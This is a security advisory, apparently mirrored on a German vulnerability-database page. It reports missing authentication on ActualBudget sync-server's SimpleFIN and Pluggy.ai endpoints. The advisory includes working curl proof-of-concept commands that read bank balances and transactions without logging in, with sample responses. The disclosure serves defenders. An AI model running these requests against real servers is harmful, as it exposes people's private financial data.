ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints
Summary
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
Impact
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
Details
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):
/packages/sync-server/src/app-simplefin/app-simplefin.js/packages/sync-server/src/app-pluggyai/app-pluggyai.js
The sensitive endpoints missing authentication are:
POST /simplefin/statusPOST /simplefin/accountsPOST /simplefin/transactionsPOST /pluggyai/statusPOST /pluggyai/accountsPOST /pluggyai/transactions
The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authenticationPoC
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN:
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"
# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"
# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'PluggyAI:
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"
# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'Example response from POST /simplefin/accounts:
{
"status": "ok",
"data": {
"accounts": [
{
"id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"name": "CHEQUING ACCOUNT",
"currency": "CAD",
"balance": "1234.56",
"available-balance": "0.00",
"balance-date": 1771531758,
"transactions": [],
"holdings": [],
"org": {
"domain": "www.cibc.com",
"name": "CIBC",
"sfin-url": "https://beta-bridge.simplefin.org/simplefin",
"url": "https://www.cibconline.cibc.com",
"id": "www.cibconline.cibc.com"
}
},
...
]
}
}Example response from POST /simplefin/transactions:
{
"status": "ok",
"data": {
"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
"balances": [
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "expected",
"referenceDate": "2026-02-19"
},
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "interimAvailable",
"referenceDate": "2026-02-19"
}
],
"startingBalance": 123456,
"transactions": {
"all": [
{
"booked": true,
"sortOrder": 1771502400,
"date": "2026-02-19",
"payeeName": "E-Transfer",
"notes": "SEND E-TFR ***ABC",
"transactionAmount": {
"amount": "-12.00",
"currency": "USD"
},
"transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"transactedDate": "2026-02-19",
"postedDate": "2026-02-19"
},
...
],
"pending": []
}
}
}
}Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @actual-app/sync-server | < 26.2.1 | 26.2.1 |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N- Schwäche (CWE)
CWE-306- Plattform
- npm
- Paket
@actual-app/sync-server- Veröffentlicht
- 24.02.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-m2cq-xjgm-f668 - CC BY 4.0
Schwachstellenhistorie: @actual-app/sync-server
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 8
- Erste → letzte
- 10.2025 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 3
- Mittel 4
Veröffentlichungen pro Jahr
- 2025: 1
- 2026: 7
-
ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.